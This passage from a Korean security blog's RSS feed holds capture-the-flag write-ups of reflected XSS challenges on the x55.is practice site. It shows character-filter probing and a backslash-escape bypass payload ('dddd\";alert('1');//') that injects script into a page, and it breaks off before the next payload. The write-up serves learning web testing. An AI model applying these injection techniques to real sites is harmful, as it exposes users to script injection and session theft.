&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;삽입된&amp;nbsp;스크립트가&amp;nbsp;정상적으로&amp;nbsp;실행되는지&amp;nbsp;확인하기&amp;nbsp;위해&amp;nbsp;스크립트가&amp;nbsp;삽입된&amp;nbsp;URL&amp;nbsp;그대로&amp;nbsp;복사하여&amp;nbsp;주소창에&amp;nbsp;입력하여&amp;nbsp;접속합니다. &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;679&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/r6G1T/dJMcagRK1Tk/3cXGtKCO9FvyYRHrQISa81/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/r6G1T/dJMcagRK1Tk/3cXGtKCO9FvyYRHrQISa81/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/r6G1T/dJMcagRK1Tk/3cXGtKCO9FvyYRHrQISa81/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fr6G1T%2FdJMcagRK1Tk%2F3cXGtKCO9FvyYRHrQISa81%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;432&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;679&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;결과를&amp;nbsp;확인해&amp;nbsp;보면&amp;nbsp;삽입된&amp;nbsp;스크립트가&amp;nbsp;정상&amp;nbsp;작동하여&amp;nbsp;경고&amp;nbsp;창을&amp;nbsp;성공적으로&amp;nbsp;띄우며&amp;nbsp;XSS(RXSS)&amp;nbsp;공격에&amp;nbsp;성공했음을&amp;nbsp;확인합니다. &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;677&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Pct5N/dJMcafL5cRR/uJekPhMKn1i05KdfGNId6K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Pct5N/dJMcafL5cRR/uJekPhMKn1i05KdfGNId6K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Pct5N/dJMcafL5cRR/uJekPhMKn1i05KdfGNId6K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPct5N%2FdJMcafL5cRR%2FuJekPhMKn1i05KdfGNId6K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;430&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;677&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 링크 - https://x55.is/brutelogic/xss.php?c6=test&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;문제 페이지에 접속하여 c6 파라미터에 임의의 값을 삽입하고 Burp Suite를 통해 요청, 응답 데이터를 확인합니다. 삽입한 값이 script 태그 내부 c6 변수의 값으로 들어가고 있는 것을 확인합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;400&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bfway2/dJMcadgojK6/OXg8qnXykG2kAUMXt9OUUk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bfway2/dJMcadgojK6/OXg8qnXykG2kAUMXt9OUUk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bfway2/dJMcadgojK6/OXg8qnXykG2kAUMXt9OUUk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbfway2%2FdJMcadgojK6%2FOXg8qnXykG2kAUMXt9OUUk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;360&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;400&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;c6 파라미터 값에 특수문자 4개 &amp;lt;, ', &quot;, &amp;gt;를 삽입하여 요청을 보냅니다. 그 후 응답 결과를 확인해 보면&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #dddddd;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;기호가 필터링 되어 사용할 수 없음을 알 수 있습니다. 또한 더블 쿼터 앞에 &lt;span style=&quot;background-color: #dddddd;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;\ (&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;₩&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;)&lt;/span&gt;&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;기호가 붙으며 escape 처리가 되고 있는 것을 알 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;402&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bMkW0W/dJMcacIBwnh/BRmLzz9SIC9CZ8QWj8mChk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bMkW0W/dJMcacIBwnh/BRmLzz9SIC9CZ8QWj8mChk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bMkW0W/dJMcacIBwnh/BRmLzz9SIC9CZ8QWj8mChk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbMkW0W%2FdJMcacIBwnh%2FBRmLzz9SIC9CZ8QWj8mChk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;362&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;402&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;escape 처리해 주는 \ 기호를 삽입하고 Response를 확인합니다. Response를 확인하면 원래 변수의 값이 싱글 쿼터로 감싸지며 감싸진 내부가 문자열로 인식 되도록 해야 하는데 싱글 쿼터가 그냥 문자로 인식되면서 문법이 파괴된 것을 볼 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;403&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8RmDg/dJMcaaYjAvg/Km3JLkxLJmlejcVFfklkTK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8RmDg/dJMcaaYjAvg/Km3JLkxLJmlejcVFfklkTK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8RmDg/dJMcaaYjAvg/Km3JLkxLJmlejcVFfklkTK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8RmDg%2FdJMcaaYjAvg%2FKm3JLkxLJmlejcVFfklkTK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;944&quot; height=&quot;403&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;403&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이번엔 escape 처리 문자를 escape 처리했을 때 Response를 확인합니다. Response를 보면 escape 문자가 escape 처리되어 그냥 문자로 인식되었고 이로 인해 더블 쿼터가 변수의 값을 정상적으로 감싸며 문법이 파괴되지 않은 것을 볼 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;400&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Nk9vP/dJMcadHsXh7/KK207OwTAJYIJmcWL8zOV1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Nk9vP/dJMcadHsXh7/KK207OwTAJYIJmcWL8zOV1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Nk9vP/dJMcadHsXh7/KK207OwTAJYIJmcWL8zOV1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNk9vP%2FdJMcadHsXh7%2FKK207OwTAJYIJmcWL8zOV1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;360&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;400&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;한 줄 주석 처리가 가능하고 더블 쿼터를 escape 문자를 이용해 우회하여 이용할 수 있기 때문에 script 태그 내부에 사용자가 입력한 값을 삽입할 수 있게 됩니다. 페이로드를 참고해 보면 다음과 같습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;[페이로드(입력 값)]&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;b&gt;페이로드: dddd\&quot;;alert('1');//&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;사용자가 더블 쿼터(&quot;)를 사용하면 앞에 escape 문자인 \ (&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;₩&lt;/b&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;) 기호가 앞에 생기게 됩니다. 이로 인해 사용자가 더블 쿼터를 사용해 변수를 벗어나며 스크립트를 삽입할 수 없게 됩니다. 하지만 사용자가 싱글 쿼터 입력전에 escape 문자를 입력하게 된다면 &lt;/span&gt;&lt;b&gt;&lt;span style=&quot;background-color: #dddddd;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;\\'&amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;이 되면서 더블 쿼터를 escape 처리하는 문자가 더블 쿼터 전에 입력했던 escape 처리 문자로 인해 escape 처리 문자로서의 기능이 없어져 더블 쿼터를 사용할 수 있게 됩니다. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;background-color: #dddddd;&quot;&gt;&amp;nbsp;\&amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;: escape 기능 수행&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;background-color: #dddddd;&quot;&gt;&amp;nbsp;\&amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;: 그냥 \ 기호 (escape 처리 되어 escape 기능을 상실함.)&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;background-color: #dddddd;&quot;&gt;&amp;nbsp;&quot; &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;: 변수의 값을 감싸는 더블 쿼터로 인식됨.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[코드 예시]&lt;/b&gt;&lt;br /&gt;&amp;lt;script&amp;gt; // script 태그&lt;br /&gt;&amp;nbsp; ~~~~&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp; var c5 = '__입력 값___';&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;// 페이로드 입력 전&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp; var c5 = '&lt;span style=&quot;color: #ee2323;&quot;&gt;dddd\&quot;;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;// 페이로드 입력 후&lt;/span&gt;&lt;br /&gt;&amp;nbsp; alert('1');&lt;br /&gt;&amp;nbsp; //&lt;/span&gt;';&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&amp;lt;/script&amp;gt;&amp;nbsp; // script 태그&lt;br /&gt;&lt;br /&gt;*** 마지막에 한 줄 주석 처리(//)를 해주지 않는다면 마지막에 싱글 쿼터('), 세미콜론(;)이 남으며 문법 에러가 발생하기 때문에 alert 함수가 동작하지 않습니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Response를 보면 스크립트가 삽입된 것을 볼 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;402&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cHhQ7Z/dJMcai23tUJ/6uKPMMxEtYpuhUQkz4dzRk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cHhQ7Z/dJMcai23tUJ/6uKPMMxEtYpuhUQkz4dzRk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cHhQ7Z/dJMcai23tUJ/6uKPMMxEtYpuhUQkz4dzRk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcHhQ7Z%2FdJMcai23tUJ%2F6uKPMMxEtYpuhUQkz4dzRk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;362&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;402&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;삽입된&amp;nbsp;스크립트가&amp;nbsp;정상적으로&amp;nbsp;실행되는지&amp;nbsp;확인하기&amp;nbsp;위해&amp;nbsp;스크립트가&amp;nbsp;삽입된&amp;nbsp;URL&amp;nbsp;그대로&amp;nbsp;복사하여&amp;nbsp;주소창에&amp;nbsp;입력하여&amp;nbsp;접속합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;687&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/WdTBM/dJMcagxrWmm/NKpCWYlMhQTxY15u81imh0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/WdTBM/dJMcagxrWmm/NKpCWYlMhQTxY15u81imh0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/WdTBM/dJMcagxrWmm/NKpCWYlMhQTxY15u81imh0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWdTBM%2FdJMcagxrWmm%2FNKpCWYlMhQTxY15u81imh0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;437&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;687&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;결과를&amp;nbsp;확인해&amp;nbsp;보면&amp;nbsp;삽입된&amp;nbsp;스크립트가&amp;nbsp;정상&amp;nbsp;작동하여&amp;nbsp;경고&amp;nbsp;창을&amp;nbsp;성공적으로&amp;nbsp;띄우며&amp;nbsp;XSS(RXSS)&amp;nbsp;공격에&amp;nbsp;성공했음을&amp;nbsp;확인합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;675&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3kTSA/dJMcabQrFjg/W4ofHpUgsdAGTV3owzBsCK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3kTSA/dJMcabQrFjg/W4ofHpUgsdAGTV3owzBsCK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3kTSA/dJMcabQrFjg/W4ofHpUgsdAGTV3owzBsCK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3kTSA%2FdJMcabQrFjg%2FW4ofHpUgsdAGTV3owzBsCK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;429&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;675&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>[WEB] CTF &amp;amp; Wargame/x55.is(CTF)</category>
      <category>CTF</category>
      <category>Reflected XSS</category>
      <category>RXSS</category>
      <category>x55.is</category>
      <category>XSS</category>
      <category>모의해킹</category>
      <category>모의해킹 공부 정리</category>
      <category>크사</category>
      <author>0xSecurity</author>
      <guid isPermaLink="true">https://code000.tistory.com/14</guid>
      <comments>https://code000.tistory.com/entry/x55isCTF-XSS-%EB%AC%B8%EC%A0%9C-%ED%92%80%EC%9D%B4-34#entry14comment</comments>
      <pubDate>Mon, 12 Jan 2026 16:20:47 +0900</pubDate>
    </item>
    <item>
      <title>x55.is(CTF) - XSS 문제 풀이 (2/4)</title>
      <link>https://code000.tistory.com/entry/x55isCTF-XSS-%EB%AC%B8%EC%A0%9C-%ED%92%80%EC%9D%B4-24</link>
      <description>&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 링크&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;text-align: left;&quot;&gt;https://x55.is/brutelogic/xss.php?b1=test&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;text-align: left;&quot;&gt;https://x55.is/brutelogic/xss.php?b2=test&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;text-align: left;&quot;&gt;https://x55.is/brutelogic/xss.php?b3=test&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;text-align: left;&quot;&gt;https://x55.is/brutelogic/xss.php?b4=test&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;목표 &amp;amp; 사용 도구&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목표:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;alert 함수를 통해 경고창을 화면에 띄우는 것을 목표로 합니다.&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용도구:&amp;nbsp;&lt;/b&gt;Burp Suite&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 풀이 - https://x55.is/brutelogic/xss.php?b1=test&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;문제 페이지에 접속하여 b1 파라미터에 임의의 값을 삽입하고 Burp Suite를 통해 요청, 응답 데이터를 확인합니다. 삽입한 값이 input 태그 value에 들어가고 있는 것을 확인합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;395&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/78HYi/dJMcafkXXw7/UJRukpKfCjPs2hlPEp7nr0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/78HYi/dJMcafkXXw7/UJRukpKfCjPs2hlPEp7nr0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/78HYi/dJMcafkXXw7/UJRukpKfCjPs2hlPEp7nr0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F78HYi%2FdJMcafkXXw7%2FUJRukpKfCjPs2hlPEp7nr0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;356&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;395&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;b1 파라미터 값에&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt; 특수문자 4개 &amp;lt;, ', &quot;, &amp;gt;를 삽입하여 요청을 보냅니다. 그 후 응답 결과를 확인해 보면 특수문자 전부 별다른 필터링이 적용되지 않기 때문에 HTML과 Javascript를 이용하여 스크립트를 삽입할 수 있다는 것을 의미합니다.&lt;/span&gt; &lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1334&quot; data-origin-height=&quot;551&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ci1IIc/dJMcahwjCWa/h1ifeRyFlQKlYltELNTctK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ci1IIc/dJMcahwjCWa/h1ifeRyFlQKlYltELNTctK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ci1IIc/dJMcahwjCWa/h1ifeRyFlQKlYltELNTctK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fci1IIc%2FdJMcahwjCWa%2Fh1ifeRyFlQKlYltELNTctK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;351&quot; data-origin-width=&quot;1334&quot; data-origin-height=&quot;551&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이전 응답 결과를 확인해 보면 특수문자를 이용해서 input 태그를 닫을 수 있음을 알 수 있습니다. 문법에 맞춰서 input 태그를 강제로 닫고 스크립트(페이로드)를 삽입합니다. 응답 결과를 보면 스크립트가 삽입된 것을 볼 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[페이로드(입력 값)]&lt;/p&gt;
